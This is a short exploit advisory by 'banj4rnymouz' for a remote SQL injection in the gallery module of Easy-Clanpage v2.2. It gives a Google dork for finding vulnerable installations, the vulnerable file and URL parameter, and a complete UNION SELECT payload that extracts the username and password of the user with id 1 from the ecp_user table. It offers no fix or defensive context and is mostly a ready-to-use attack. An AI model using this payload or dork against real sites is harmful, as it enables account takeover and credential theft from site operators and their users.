0 Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability

Banj4rnymouz@gmail.com

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 

 ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~

 

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 

[+] Author: banj4rnymouz

 

[+] Mail: banj4rnymouz@gmail.com

 

[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14

 

[+] Dork: "Easy-Clanpage v2.2"

 

.-=--=--=--=--=--=--=--=--=--=--=-.

 

[+] Vuln File: /modules/gallery/index.php

 

[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=

 

[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*

Artikel Terkait :